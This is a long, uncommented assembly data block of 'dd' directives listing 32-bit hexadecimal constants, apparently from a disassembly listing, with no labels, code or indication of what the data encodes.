dd 680F3E2Eh, 5C90E3F5h, 4F692E36h, 6F3363ACh, 46BF0C1Ch
dd 4B2EDF4Dh, 9D31C70Dh, 0F6D7A896h, 65C43D2Ah, 35FC6AD9h
dd 0E82800C8h, 46ED4C63h, 67CE1F8Bh, 94DE4C0Bh, 0C82BC761h
dd 99471FD7h, 0F37F1DC2h, 0CD44DB82h, 1CB9180Eh, 8A436DF1h
dd 0A53C22B8h, 0FD1E992Ch, 0BF15A859h, 0C894882Dh, 0A6D4A350h
dd 643A760h, 3E62B044h, 0FB357F5Eh, 0F7973CFBh, 7E623398h
dd 91440F61h, 0B0A1A120h, 0EBADBB62h, 4E9011BFh, 0B6C2A4BAh
dd 837ACCA7h, 13C76682h, 4B724458h, 2BDE1629h, 828D6293h
dd 8ED1C5EFh, 41F86056h, 67F73147h, 0AE1E15CFh, 60843B02h
dd 52C1F58Ah, 0B28CC109h, 2356FDD5h, 0B0061A89h, 8452BE8Ch
dd 51D01DFDh, 54443E01h, 0B5A9B52Dh, 0FE0E9A1Dh, 216CA2A9h
dd 375D4753h, 4D60EC9Fh, 0ADBC41DBh, 0D4F78B02h, 68E39072h
dd 4BD170AFh, 2BE6D39Dh, 0D475ADF1h, 0F8DA45A0h, 0FB76B3E1h
dd 0D8C01CAh, 0CDB11E22h, 90CA0DA3h, 7E336F00h, 14F14F93h
dd 6C38B3DAh, 7909A48Bh, 41BED96Fh, 7C5B793h, 20C7D84Bh
dd 1CD66C48h, 0FCA9B307h, 0F91BAB19h, 5F78E2EEh, 0F2BFD1BEh
dd 0FB06E653h, 63BEBCFBh, 0B6FEDB39h, 0AFC2D1EAh, 503CFB0Ch
dd 0FE3E9D15h, 0D94FFBDBh, 379D4492h, 0BA8C746Dh, 6C87CC63h
dd 0D6E18BDDh, 0AC1FDEF6h, 405FE0B3h, 0F8869F29h, 144923E1h
dd 44A503D9h, 0E03D632Ah, 3B5B5DF8h, 3AA053AEh, 0DB75269h
dd 7ACA709h, 10EECF93h, 6C6453FAh, 7F6A99D7h, 0AEAA33EFh
dd 7BC156AAh, 423DA8Fh, 0EBEA598Fh, 0D7CC8C2Ah, 3A9E1C06h
dd 0A3FB506h, 0B1578689h, 0B9D6729Ah, 0E7BE76BEh, 64DF5838h
dd 9A007BC2h, 0FEFC7200h, 0E26B5D11h, 64EBBE21h, 0F3355426h
dd 638CF913h, 50439F6Ch, 57290AD5h, 0B862DB7Bh, 0B4DE5610h
dd 8E6DBC9Dh, 358DB217h, 6FD122DBh, 62730FECh, 0FBE5C9F9h
dd 9AE6C2A9h, 55E5DD8h, 465E5329h, 0EE70F33h, 2874D2B6h
dd 8E4BA5D3h, 871C73ACh, 87C219D6h, 1B1C3006h, 4F6F258Fh
dd 0E6943E7h, 321DFB05h, 878A2FDh, 3C1BC352h, 0B8F8189Ah
dd 6B9C690Dh, 0B07E583Fh, 8F347387h, 0DEFC7202h, 6E9D6D06h
dd 90CBBE2Bh, 0DA50C6DBh, 0B4F30685h, 0A0AE37F8h, 29270192h
dd 0AF156A5Ah, 0AF53A118h, 0A66D7F22h, 0D78D7960h, 0D4D3213h
dd 1671461h, 0D7202ABBh, 92E748FFh, 7CE68007h, 0DBEF2834h
dd 0E9ABC4A3h, 21C59C01h, 4D495AC3h, 0E6A3012h, 0F9B58493h
dd 6F6B21B4h, 93CBDA93h, 51595BFBh, 0F1D8B2EDh, 8C911B12h
dd 3CA9F322h, 65331AC3h, 2FBCDD13h, 0D94DD33Fh, 27C1C157h
dd 5C1C72F8h, 7ECB7E4Fh, 22A0985Dh, 23A21737h, 0B373FA27h
dd 0A2D39CEBh, 44B19865h, 4F9F53E5h, 2873C589h, 0F792476Ch
dd 9D72B063h, 0F0A4CD9Bh, 0E9836BE3h, 76E5A3CFh, 4449FB5Eh
dd 8F4700C8h, 4E2AC7E9h, 4C65073Ch, 0C1D7C059h, 86A24BB4h
dd 770F4ECh, 8F95949Bh, 56C53BBh, 8AEAF9E4h, 4D392F5h
dd 6CB388Eh, 0EF5763EAh, 8EDE3D18h, 32F41D98h, 7B1B55BFh
dd 260E583Fh, 6FD08382h, 0F584DB05h, 7A719A0Ah, 0E70BBE9Ah
dd 369F8429h, 27FC0681h, 5D4389BEh, 518B8A17h, 0B6657D94h
dd 0A41893B0h, 12283051h, 0E17280E3h, 0A0B130FDh, 56771083h
dd 3B65A93Ah, 4E2237ACh, 64F56D4Fh, 0FC553367h, 9507998Ah
dd 707EEF61h, 90A16D90h, 87663173h, 65B2F10h, 5F09D321h
dd 0EBE86D44h, 1096764h, 8A921886h, 0E5EC772Dh, 884C4928h
dd 4ABF12BFh, 3B5BFCAAh, 0A20C582Fh, 0A76F36C3h, 0C30F07FAh
dd 0C1BE34E2h, 8F3DE7D6h, 0C922B78Eh, 5DBB85DAh, 5C29D3F7h
dd 48B7881Fh, 48609455h, 0F1975712h, 36EE755Eh, 0E29E0E13h
dd 8F74482Ah, 3314B70h, 0C49A5DF7h, 0B16A273Ch, 0C9556F28h
dd 20DE4873h, 9E74AD4h, 32F69CF1h, 99DC425Ah, 0A3A44A70h
dd 0FC5DBB5Fh, 8FEF9F4Eh, 13AFB687h, 4E8278Ah, 59F0C485h
dd 95ACD805h, 0CD01BAAh, 95147C5h, 6E53F716h, 0F641BDB6h
dd 4E026D13h, 0E21C378Eh, 836EE4E2h, 0EB8F3DD6h, 0C69C8451h
dd 6D0CF972h, 0F3C08175h, 621C61F2h, 37E395E3h, 821F9D4Fh
dd 7B6DB9D9h, 0BE970FB3h, 0B8E142CAh, 9B36F4CEh, 0FFE64EF8h
dd 46E7172Fh, 0D5734D17h, 3ABF56Dh, 1AAC033h, 5580E052h
dd 735839DEh, 0A39D0990h, 6747053h, 128ED55Bh, 0E8AB4180h
dd 0FC8EBC3Eh, 1F121186h, 6ACF4304h, 324C555h, 921D74E8h
dd 7AB6D211h, 126D02C3h
dd 0FB8BD517h, 0BE618E40h, 0DC658A0Bh, 5957FBE9h, 2E4D4736h
dd 7D36C1D3h, 0A436420h, 616CDCE2h, 0BC251C10h, 8860D799h
dd 0A691FC0Dh, 7D613EA3h, 0B52F340Bh, 0EB6DA49Eh, 0CCFCB316h
dd 7EE01500h, 44CEFB0h, 0BEEC53Eh, 6F889053h, 0C3753C57h
dd 6749FF0Bh, 8661FCAEh, 0EDF0E06h, 0D29A48CEh, 37051E7h
dd 0EDC59B17h, 439BFC05h, 0E98DE2FDh, 2685CA91h, 835196Bh
dd 0E93656BFh, 0E664804h, 4CA8FA84h, 50A483DDh, 9B539263h
dd 39A2563Eh, 8D1E47DBh, 91F26C87h, 0F6BC50EAh, 5D21B952h
dd 0C73D7966h, 0BC2EDAh, 4B6DB997h, 42DE9F7Ch, 38F9435Ah
dd 8656F646h, 0B23C4DEAh, 0B15DA73Ch, 9CD541C0h, 0FC6E54DCh
dd 0EFDDECh, 0AA83BA11h, 314A81DBh, 0D770C264h, 431086BCh
dd 0E5BADA47h, 370099Ah, 3D620217h, 0F09C63FAh, 7E929098h
dd 0EEAD7EC5h, 4F2571CAh, 833E5505h, 158FA7F7h, 0C83FE68Eh
dd 5C7C191Ah, 716F4082h, 9CFF352Bh, 19DC40D3h, 0FC714202h
dd 81BEA984h, 43BFD7F5h, 0E7E956AEh, 18BC2EA2h, 5B6DB9A7h
dd 62DE9F5Ch, 4BAC9546h, 0EA6F1688h, 0B27EC604h, 51421725h
dd 5846258h, 651BFF6h, 17A1EE8h, 0DF939B76h, 79A5BD97h
dd 788171Ah, 0DE9B7A12h, 1AEB854Bh, 0FC41028Fh, 0E8FFA0ECh
dd 0F0AC619Ah, 7B0829B4h, 0F229C905h, 0BCCC4ACAh, 809B5505h
dd 0CCF354FBh, 0C15DD654h, 0F9ED8DFAh, 0A685C4FBh, 0CE7733EDh
dd 0C81D47DAh, 78D4BA05h, 0A2438907h, 0F6626D8Fh, 21E3C6EDh
dd 9B6B0Bh, 0EDE8B6AFh, 0DF8D7AC5h, 0F52DC0A8h, 631A9D2Ch
dd 0B07EC193h, 432985BAh, 9CA04DBBh, 0EE3B67AFh, 165E273h
dd 1887B2D8h, 7AA33653h, 700644EFh, 0E6E50893h, 5F61963Eh
dd 2DB0877h, 0F48CE8Eh, 8747E9B2h, 971985FDh, 0FE0C0255h
dd 7B01E071h, 0FAE5A6BFh, 4EF3794Ah, 13E4B3FFh, 6334278Ch
dd 22C2CFBCh, 32AAB8D4h, 0E85D471Ah, 72B41600h, 764388FBh
dd 97B16307h, 40ED6DB2h, 0D0CE1B26h, 22380EB8h, 0F7818074h
dd 3A25C76Fh, 0EB671FF4h, 7EA2A49Ah, 4EA2940Dh, 78C4D2Bh
dd 53268E19h, 0F1B97342h, 637FAE3Ah, 775DAADAh, 0E6DC9D8h
dd 15E8779Bh, 91208119h, 0FEA66DDAh, 818B7184h, 0F432CCFh
dd 0E83CEAEDh, 812C3E28h, 75E29254h, 2B52FF71h, 528B1EFh
dd 553B3E07h, 28737D15h, 14BB120Dh, 0C8FBFBE9h, 4F9D47DAh
dd 0F7F3F2CDh, 0B0848906h, 1EE188F8h, 1C1D16F5h, 0ABBDE723h
dd 53E6A9FAh, 848D9729h, 0DD34D527h, 63EE0F53h, 9A61EF18h
dd 5EA26ED3h, 0A9A01320h, 3AB7D54h, 9EDE9BAh, 0D6C64191h
dd 47D10F2Fh, 0CA173E0h, 0E00687D2h, 5F61924Bh, 70B71867h
dd 50EA429h, 18BCA499h, 16C447D4h, 0D890977h, 79A310DAh
dd 5D45AC7h, 0A68253Fh, 9D407BB1h, 0EFBA9A50h, 5A88D80Fh
dd 5D0D506Bh, 40CE321Ah, 498CC44Bh, 746989C1h, 0D8628801h
dd 28D27C04h, 8F94923Fh, 8CE45402h, 0BB8D9814h, 8A65CB4Ch
dd 1432979Bh, 3BE5B7B9h, 41B1E4F5h, 0A9ACEF94h, 0FC54914Ch
dd 0E7B963ACh, 0A0E50BF8h, 8FC43096h, 9761EB2Ah, 0AE699BA2h
dd 0D86E880Eh, 0C579734Eh, 0FF99ABFFh, 1B44C05h, 0BB85442Fh
dd 0F5AACB33h, 6363EEFCh, 392C8AFAh, 8B8A1DB4h, 41C13F57h
dd 252314FDh, 0AC1E65E5h, 0FDFCB127h, 0AB48CE34h, 0C1FC0162h
dd 0A6CA855Ch, 0F6B403E6h, 0A468D872h, 0E21F932Fh, 3BAABD3Ah
dd 0D48D7B75h, 44E10C6Ch, 6B671FD2h, 0D52041F9h, 44D7D1F7h
dd 8C50D5A4h, 0FCA8EE4Bh, 5C67224Ch, 6C3524C1h, 3A2B3A6Ch
dd 7F24C9E9h, 448B898Dh, 3D5A0B88h, 473958Fh, 0A7078Ah
dd 5BAC7C05h, 67388666h, 0E1FAC25Ch, 854DD511h, 10FDEE71h
dd 0F6878A0Eh, 0A607A8Ch, 0CC6583F2h, 90E5483Ah, 0E4207FA7h
dd 3BD64FFEh, 71F812ADh, 9B92992Dh, 0FE3053D2h, 0E9694D2Eh
dd 0BB6C6642h, 0A9A7BDEh, 31C7651h, 0F1ACEF68h, 0D0696AD8h
dd 4C71924Ah, 75ACE0E1h, 0FAB08A9Fh, 27EF4D74h, 2DB8DE8Bh
dd 0DC7103Dh, 5CF66743h, 70B4757Bh, 19BD0C0Eh, 1AF55A10h
dd 45AD502h, 0A30F8Ah, 5FA46C05h, 94DDB1BBh, 0E58B86DEh
dd 9AD4D993h, 200A21BDh, 0F7AEAF27h, 1898BDDDh, 4C0368Ch
dd 0D01ACE82h, 9CAFFAA5h, 1BE087D3h, 0D1A78DCEh, 69B7E18h
dd 16390BC6h, 3044D174h, 50BFC6BAh, 86187A56h, 4A936EFh
dd 2C808F58h, 9A90CA60h, 7FEE7A14h, 0BF558BCFh, 0CD4B7656h
dd 4F20A1FDh, 5D67DDB7h, 6D081735h, 93738437h, 6DBF1A3Eh
dd 0C269D607h, 0EB136E3Eh, 60886B06h, 0C1015F23h, 18B8588Eh
dd 0A1FD641Ah, 0AD748C27h, 869F85BEh, 43E4AD88h, 2401Bh
dd 978E0F49h, 13893DF5h, 0E8D940FCh, 0C3EB64ACh, 3F1F188Ah
dd 0B4CC8B95h, 0FB438AF0h, 63F1AC69h, 3168B26Eh, 7CD71930h
dd 564CFDFh, 0C3815928h, 70B40722h, 6286F322h, 1F210A1Fh
dd 6AC68B7Dh, 7638CDFh, 0F4BB8428h, 52364802h, 0A48C03B3h
dd 78A4AD6Ch, 87D5AE6Fh, 92684DD6h, 15D73807h, 2158E038h
dd 4A3CF7h, 86FFC38h, 0EEBD7EDh, 0F45803A2h, 0EC1C6C9Ah
dd 0F98D379h, 0F1AC554Ah, 8A583C7Eh, 0EB771402h, 659EE04h
dd 60CBBE2Eh, 3FA7423Ch, 0F2F30697h, 804C5A7Dh, 0DDEE4BE5h
dd 0C3C99072h, 25646DD0h, 0C7EEDCB3h, 59F87CD0h, 0B2DD4795h
dd 0D617390h, 4F65BC98h, 0B16AF7EBh, 4F60D314h, 38C42E9h
dd 5CEDF5F3h, 6C067ED8h, 3D2EED9Fh, 578050E7h, 9A748CDDh
dd 0A5C4968Fh, 948AF84Fh, 0BE78Ah, 5D543C05h, 2CC0A764h
dd 0BFE55259h, 0A4C3C992h, 905DAAF6h, 0D54750FBh, 7C9763C7h
dd 0F02BCE89h, 7B4E9A04h, 32B0B2C0h, 0A85763AAh, 7957421Bh
dd 984F4677h, 0E4C5CCAFh, 3844FAE9h, 0B1BFAE72h, 25679ECFh
dd 200658D8h, 3427C0C7h, 66F7C5BCh, 6E65A226h, 0A22190E8h
dd 7F6B0C3h, 7620F4C1h, 803578CFh, 0D07A7540h, 0F15D88DAh
dd 57C76F9Dh, 0C95D135Fh, 913655C2h, 51C341CAh, 89750DFBh
dd 5D8B71E9h, 85D08764h, 36DF9149h, 7E5B1963h, 0EC5722FAh
dd 7FB3DB59h, 8B5D4107h, 0EF1037C3h, 0F43B5D04h, 0E30B53B4h
dd 0E291025Ch, 6FDE72F6h, 816AFEB1h, 52E9FC41h, 53E59976h
dd 69B92A9h, 0B875FF24h, 9B718447h, 30A69D1Eh, 0ABD809EFh
dd 6DD112h, 0C3AD59A1h, 8CA0E285h, 1BEE79F2h, 5A877D2h
dd 2DF993ADh, 43D09A2Fh, 0E1600464h, 114D4A21h, 15D9E74Bh
dd 3F5FE830h, 0A4D4757h, 744898Eh, 0E04F4752h, 0BF85AE17h
dd 0D83A1292h, 0A9E15F5h, 3BC59216h, 0AFBEBB2Bh, 0E449F90Eh
dd 0E042D8C3h, 9D6BBE2Ch, 0EEC53A55h, 32B2899Fh, 39C88AF7h
dd 0FCB1032Fh, 4161DCBBh, 3D108EE0h, 0DE2D31A5h, 849D7806h
dd 0F3AC8111h, 94672A87h, 7B92E2B0h, 3AA27D9Dh, 84E56A5Bh
dd 8EB7AB07h, 4164FE69h, 21C87BEDh, 0F2B5AA58h, 8BE14E22h
dd 1130E2C6h, 29F6B44h, 5473EB78h, 8B3D1E2Bh, 48C5C440h
dd 0FFFD5C1h, 710907DCh, 4B7511CFh, 0CA47B2BFh, 0E0221AB6h
dd 6CE73642h, 0A59F6A51h, 67549B28h, 82C0927Ch, 0A0A248DEh
dd 0EA33F84h, 1EC8808Ah, 8EA1032Fh, 58251F50h, 64DE2DA6h
dd 7765EF20h, 5FDD588Eh, 3BF4D4C7h, 3BEC0F4Bh, 2B250FFBh
dd 0A6F2A666h, 735F50D0h, 88A73C07h, 5966F176h, 6432F3FDh
dd 0F16FDB87h, 0A280B6BFh, 7F7548D5h, 7CD153C0h, 795EF0B6h
dd 458D7477h, 4DCBAC11h, 2CA892FDh, 0E649895Dh, 0F49DD911h
dd 0CE79FA2Ah, 0E73FA78Fh
dd 96EF32C3h, 0BF937D0Ch, 0F0C61110h, 9322742Dh, 0F508CCCAh
dd 936B99Fh, 2E0E35F8h, 2668400Eh, 0C8251D17h, 88B7EA25h
dd 190BB2D7h, 0F485448Eh, 0B52FD1F2h, 0F7378C0Eh, 0B175C47Dh
dd 422A8974h, 84E56AABh, 888FB9C3h, 5966F046h, 1DD771Dh
dd 78A75DBAh, 0C2D6996Fh, 5CFEF7CEh, 5F42185Bh, 18658287h
dd 123B38Ch, 64A9BCD5h, 0EADE1D5Dh, 0BFAECE91h, 0A02A1692h
dd 0ECE21E2h, 342F923Eh, 96AB581Bh, 0AE8D141Ch, 0E5FB1110h
dd 0CDA7C6AFh, 76FB4FA9h, 9FB3ED0h, 6CC89283h, 5AB1032Fh
dd 0D61DCBAh, 45108EEEh, 0E2D31A1h, 9C723143h, 752FD489h
dd 3ED8080Dh, 1735BDE1h, 0B297C46h, 0A0E06AB7h, 17EE7052h
dd 1DA8471Ch, 6C32F141h, 68F07D0Bh, 0C3947EEh, 49FEAE93h
dd 0A89C157h, 0EC65DD8Eh, 0FFCC24F4h, 834D5886h, 0D62E8AA8h
dd 0B2AE9600h, 7C5E9886h, 570CB6AAh, 48F4D337h, 0C7718108h
dd 0BB35B82Dh, 0EC5C7324h, 8861BE2Ch, 0F5BA7BDAh, 7D343A94h
dd 200601BCh, 4CB43728h, 0E54CC60Ch, 586CF4B4h, 7B6DB291h
dd 3CD8F7C3h, 64E17B8Ah, 604B458Ch, 6BEE8CB1h, 1E2B3C11h
dd 0F172649Fh, 0BFE7226h, 9C1BAA4h, 188DFE71h, 74D87713h
dd 57FC9808h, 3995269Eh, 928C8CC8h, 12DE0DCAh, 613FFE87h
dd 4D878A70h, 63CAD2E1h, 0BB283FD5h, 0B0521DEFh, 570FFAF6h
dd 78EAD337h, 5A39748Ah, 0AE3F6E4Ch, 0EC961714h, 46DBF3A5h
dd 0C9964F9Bh, 80F38C80h, 52C89BF3h, 76990B2Fh, 0FA68E937h
dd 18A3D251h, 0B575CEA9h, 406748Ch, 0B1EE4999h, 0E07B4F8Dh
dd 7BEE8CB6h, 0B1EFFC2Fh, 7B0ED3Fh, 7B28F161h, 5393F85Fh
dd 3DC87537h, 0F1C3BFF5h, 0D2E280AAh, 0D9CAABDEh, 67E50C72h
dd 0C708E85h, 661FDB8Ch, 755F98Ch, 39340752h, 0AA3447DEh
dd 7E9FDC11h, 520EB6AAh, 3468592Fh, 2C9AE8EFh, 0E708F1FBh
dd 0E2C6DF8Fh, 473FEB93h, 4A5C5B9Eh, 8C6F5619h, 46C882B2h
dd 115E870Bh, 19AABF23h, 6D10B2F6h, 323D31A1h, 759D3C42h
dd 0E0E14D55h, 62665789h, 6EEF94A7h, 28B2FE3Dh, 8CB89C28h
dd 4620F720h, 8BD7553h, 0EF9DAA38h, 684EDC53h, 0A79D1E4h
dd 4CFCA286h, 37C9865Bh, 1C68EEE9h, 0CBD6C0h, 0E341AC05h
dd 662A08C4h, 0AA3C87EAh, 0F59EEB72h, 1ABE29FAh, 0ED5A1DB6h
dd 96BBD652h, 391F9FCh, 3FBCE8Ch, 0AAEFFBA7h, 7F85025Fh
dd 8495FED5h, 6A43928Ah, 0A69C0BF7h, 1E77EB35h, 45A79EE3h
dd 1B51BEDDh, 0D10670BCh, 31F44994h, 0AD77528Ah, 46E6B4F1h
dd 69D776CBh, 1B0A424h, 5622F804h, 39ED3E43h, 6C06E67Ah
dd 79F57A03h, 0C79C066h, 903F5A83h, 4E43BA1Eh, 0C6B5F39Ah
dd 83232337h, 7742A478h, 6165890Ch, 7134D7DEh, 0AD1D85D2h
dd 3BA2ABEAh, 40ECD1F5h, 0DFC47B8Ch, 68E432B3h, 156D8EE4h
dd 475FCB3Ch, 0D0564F93h, 1A3B8D84h, 5CC840F6h, 0DB2B8907h
dd 6261B27Fh, 39B3D22Dh, 0B6283379h, 3F853942h, 359DF0C4h
dd 606B7AFBh, 6BEE8CB5h, 0B6F75D01h, 0D7B8B12Ah, 0C0F615C5h
dd 5CED842Eh, 0C50E1A78h, 2FF3A7C7h, 0B661C8E4h, 15302A29h
dd 993D01C2h, 703501F2h, 83EB2A1Ch, 0C82953E5h, 0A8FAABC9h
dd 0EEAC47AFh, 0F491110Fh, 103C5CEAh, 63C65A3Bh, 3921FE36h
dd 62D47206h, 0F5FE19DCh, 456F7E47h, 82E7860Ch, 0E66121Bh
dd 12538BF0h, 56A17EF7h, 2C26E27Fh, 449197DEh, 8A2831E9h
dd 5D8C2C44h, 6A2D30D1h, 78E581h, 0E2ECA02Dh, 0C5A78FF6h
dd 8BA86CABh, 5721E945h, 1965FEA2h, 39C00096h, 98262C1Ah
dd 0A3A9F9F0h, 0E3B47A5Fh, 8FDDCD4Eh, 14341287h, 531FFC1h
dd 8542160Fh, 0E2703EA8h, 71771210h, 7CC96DDFh, 0D992922h
dd 0ED949854h, 0D53EFFDDh, 0E379668Fh, 611E9B03h, 33FBBC28h
dd 87A0CFC3h, 70B38380h, 825675B7h, 0DDF188DBh, 58E36672h
dd 0A088E7A3h, 91920306h, 0F4847C0Eh, 3827C484h, 0E951EEFDh
dd 46E684FEh, 49D71BD9h, 0A549266Ah, 88ABF97Eh, 0E1BD0BC6h
dd 0D672471Ah, 876D770Ah, 876B8586h, 0E53024D6h, 0C2409F4Ah
dd 6F2AC90Ch, 0DABA97C7h, 834796C4h, 6E2877F9h, 0BED1D254h
dd 0FA191D98h, 127F5B7Eh, 98CBDB3Fh, 5BE54A07h, 0D3647E41h
dd 6323EF0Eh, 0D36B3DF4h, 0EB987BDh, 9C74Ah, 19D69E7Ch
dd 0DBF18920h, 24649473h, 5B7096AEh, 7EEE6220h, 304D17D7h
dd 0CA651E02h, 0FE738C04h, 2B6483F5h, 4AA032A6h, 75BC6DFh
dd 4622F531h, 0E02B726Bh, 298DFE96h, 0DBFCA93h, 4B11AD0h
dd 0D91EB136h, 0DB13D36Fh, 10BE2875h, 1344392h, 0A06EA15h
dd 0EC2FC2E9h, 0FA278325h, 151B4113h, 36BFC1E5h, 9E7582B6h
dd 45C8B502h, 0FBFD750Ch, 0EE2CDE89h, 25E9B6ACh, 87DD4686h
dd 707E3810h, 0E80601E2h, 0A1E0D8AAh, 4AE96E62h, 0D08918E0h
dd 8F4453B9h, 71067CC8h, 48E04987h, 98A13EFEh, 3A1B04D3h
dd 0CDB60327h, 0C92BE495h, 2FB7494h, 0CF15AE6Ah, 2D64F571h
dd 0F3A5F5D2h, 0D7E46B2Ah, 0E12024D7h, 908FAEC2h, 0ED25A99Dh
dd 3343E8h, 0F807CB43h, 6920A2EDh, 0BFAB423Fh, 0F4F24966h
dd 4293EF77h, 840980B6h, 0F4185518h, 1135A88Dh, 7F4A1101h
dd 0DCCAB924h, 0D61F435Dh, 0F97B136Fh, 0DFC69AF7h, 3F1E8152h
dd 0AC606AA7h, 0D36BD72Fh, 0CB6D4AD4h, 0A8F0FFCEh, 3BB5B18Bh
dd 3BEAFF45h, 0C3300DFAh, 0A7AF76E9h, 8CA0E6C4h, 0E32821EDh
dd 2D2D90ECh, 0D34C25D8h, 0EDB17E96h, 976897E7h, 1D77E820h
dd 9AF42A03h, 713FCAF2h, 0F876D009h, 81436C88h, 69E9BAB8h
dd 7142E95Fh, 0A51661DFh, 0EA2823FBh, 0ED8558F9h, 0CF34BDDFh
dd 6228B26Fh, 0EFB45BDEh, 0C7BEAAA7h, 0C4D46D1h, 4FFBE9DDh
dd 25A88FF5h, 17EDCDACh, 0A4156E72h, 6274EF26h, 0EBE6B4DCh
dd 75DDF130h, 365C9102h, 0F48C0D00h, 0C40F8590h, 0BCCB9E72h
dd 482319B4h, 0ECD67990h, 82E18FC9h, 790000F4h, 80F07C52h
dd 0C6490A9h, 0E174A793h, 98C69672h, 0FBCAC7E3h, 8BCB168Ch
dd 0D86B2050h, 91A6A564h, 737D9C0Ah, 78584476h, 47728D86h
dd 32DDBDB6h, 0EBD8638Ch, 0EA0C7A19h, 6365E914h, 0D0EB3DF4h
dd 0FB987BDh, 609C74Ah, 15D69E7Ch, 0D8F18920h, 0B5649473h
dd 507382D3h, 1992451Eh, 948D75C8h, 0CF6C478Ah, 833424F4h
dd 0C49A64B6h, 5EE7FD7Ah, 80E56D1Fh, 8343AAC4h, 8A12042Fh
dd 0EF04F455h, 98301D40h, 0E306E10h, 442EF426h, 3D75DF88h
dd 4353D8Fh, 14D78Ah, 5D42DC05h, 2CA4E764h, 0BFADD259h
dd 9572C992h, 9173AAFBh, 0A7D150FBh, 0D0CB428Ah, 0EB3BCE89h
dd 0BF6E9A04h, 0DBD35BA5h, 6EDD47C6h, 0FD8CAC53h, 9714DCA4h
dd 6526807Ah, 486096CBh, 129AF8A7h, 0B285E9B7h, 37728345h
dd 352DC876h, 149F84DBh, 390F916Ch, 0A6F1768Fh, 735F17A4h
dd 8AA7320Fh, 0F16E1D66h, 0AA85B10Eh, 8C4FFD1Bh, 0C69816Fh
dd 0DFFC8593h, 9F31E160h, 91BBBE79h, 8D346307h, 0F7AB3C90h
dd 792B9B12h, 3A184255h, 67D90CDh, 0C2D9F550h, 64C25857h
dd 0C4806D07h, 6B147201h, 0AD1792C0h, 0CBB53FDCh, 0FF1D47C6h
dd 1E76C19Ch, 0FBBC7519h, 9E18830h, 45901F3Ch, 8F747E21h
dd 12E8314Ah, 8472835Fh, 5F544137h, 3837F8C1h, 0C4BCBAAFh
dd 4266F558h, 742320CEh, 0FCB7827Bh, 9117726h, 2C7543C1h
dd 7C4E01E6h, 40961159h, 1975E5D6h, 0E684554Bh, 8D3EDE70h
dd 89CD52F7h, 778679C3h, 9972494Dh, 5ED95105h, 76BD999Eh
dd 2FDAA23Eh, 5D7DAEBAh
dd 946F3E6Dh, 17F2208h, 29716A9Bh, 84A77AAFh, 6A80913Eh
dd 1E235F6Fh, 0DABE06E3h, 0AB210D30h, 0A0E346A1h, 0CD12DAA4h
dd 1195394Eh, 5C6577C7h, 375B3B0Bh, 0EB670A36h, 0B065EE56h
dd 1DF2833Ch, 735081D3h, 0F6F77C3h, 5611A388h, 0C504996Fh
dd 872FCD0Eh, 874E5AE2h, 4A75C7D6h, 3E94831Dh, 0C29B283h
dd 7326F20Fh, 8B9F651Eh, 0A95EFD0Dh, 3BE74B71h, 0E14E1C60h
dd 1321A26Fh, 67A2AE2Fh, 0C1D53F03h, 191120ECh, 0DEBE5DFBh
dd 528BBE2Ch, 0B976B81Eh, 782EEC3h, 421A7509h, 0D6F1AC64h
dd 0FA057E67h, 0C4186D5Ah, 4DAB33BBh, 0EB53C655h, 0C02D9D42h
dd 0E6A45C6Bh, 6E65A329h, 0A22192F2h, 0DBF6B42Fh, 88A3A9BFh
dd 0A004EA66h, 0A28DC211h, 3E9D1655h, 0D17A90FFh, 0E6B5C83Eh
dd 0DA4D53B4h, 0CCB785F2h, 8662F8h, 0FF219C05h, 1D3182EBh
dd 0A937E845h, 0F5C02B72h, 1AE329FAh, 8E101DB6h, 25F9F900h
dd 0E6BC7204h, 5E5ADF8Fh, 116E4269h, 0DC564CA2h, 98AB2F6Ch
dd 23B3CF7Fh, 1B3B012Fh, 982069FCh, 6D9B9099h, 0FE28334Ah
dd 0BF7D0136h, 262FDCFBh, 62B72E25h, 465C7C11h, 89A80485h
dd 8CA01B76h, 7E20F42Ch, 82BEB19Bh, 0C1DDD237h, 8759A854h
dd 866523ECh, 933482Dh, 0E0C91CC0h, 79B79106h, 104283FBh
dd 0B52A6453h, 0EC6C5D12h, 79393695h, 0D72FE652h, 1D24917Ah
dd 9A0516BAh, 0D74F58F8h, 0F6C07A04h, 6A937252h, 549241D3h
dd 1B183316h, 0DA18F958h, 0E91C4AC7h, 0C70D017Bh, 1C1F1BF7h
dd 10BC2E28h, 6D6DBAB3h, 8062BEBh, 7ABD099h, 9B420177h
dd 0FA65842Ch, 0C7C47387h, 722181F1h, 3ADEF3DBh, 19C9B2F8h
dd 298F0537h, 3B516993h, 0F269EBE9h, 62F6A2C2h, 17BD0E4Fh
dd 64F06E9h, 6630EE07h, 7C478786h, 6936FDEAh, 0FFD70255h
dd 0F5C79825h, 0EAACCCFAh, 8E38E730h, 27315843h, 0E9F7D7Bh
dd 0D7CE99BBh, 16A2D875h, 0E79DC2B0h, 94C409B5h, 364CAFF0h
dd 7CEC77DFh, 7660960Bh, 0A39DD12Ch, 487D9EE7h, 59EB8C34h
dd 79C2C743h, 14AF8436h, 6FEE8FB9h, 89C46755h, 0BDA0E729h
dd 58F5AB9Ch, 5C126F80h, 0C50E2638h, 2FF05C4Fh, 8861B9E4h
dd 3C738061h, 1AC87FBBh, 6230614Eh, 8150558Eh, 7D4053FBh
dd 2AC304DEh, 8F3CCD53h, 8E447F8Eh, 1F6FAAFEh, 6785DB59h
dd 0B7B64B07h, 92C44987h, 0D7FC2503h, 0D5E0BE2Ch, 989D4669h
dd 2F7A6090h, 5C8335F9h, 9EE18995h, 61961352h, 73C1B3h
dd 76DBAB0h, 0F24BF5DBh, 37DA0439h, 0F18EC702h, 34658450h
dd 1B29B1CCh, 570E623h, 0FC96F811h, 75EDE654h, 6A7AA5A1h
dd 0C260F15h, 5F6C38E2h, 0C065C22Fh, 0E295DFABh, 1E99464h
dd 103652DFh, 824001D8h, 2CE90AA8h, 42245FADh, 0F5C6999Bh
dd 121AF213h, 6981DB3Fh, 0DE6C4007h, 0C3DA31B3h, 28111A0Bh
dd 0DF67EBA7h, 7A1C9569h, 0B0A30F94h, 3745C97Fh, 0A20877E8h
dd 4E609635h, 5E9DD12Eh, 28EDBA96h, 0BB733934h, 0F3A2870Bh
dd 23E408D3h, 78ECE240h, 42E7FC73h, 80E56E6Bh, 7E670CCFh
dd 4C668783h, 6A04A50Fh, 3B616AD5h, 0E169E56Bh, 19778211h
dd 190F624Bh, 0C405918Fh, 364FEEh, 5FDC705h, 9571AB8Bh
dd 715960BEh, 7CA01BD9h, 5193CCF9h, 267B3E3Bh, 92C35805h
dd 0A55D1402h, 97D9FC00h, 0B64BBE2Ah, 8FE10255h, 2A8E85F6h
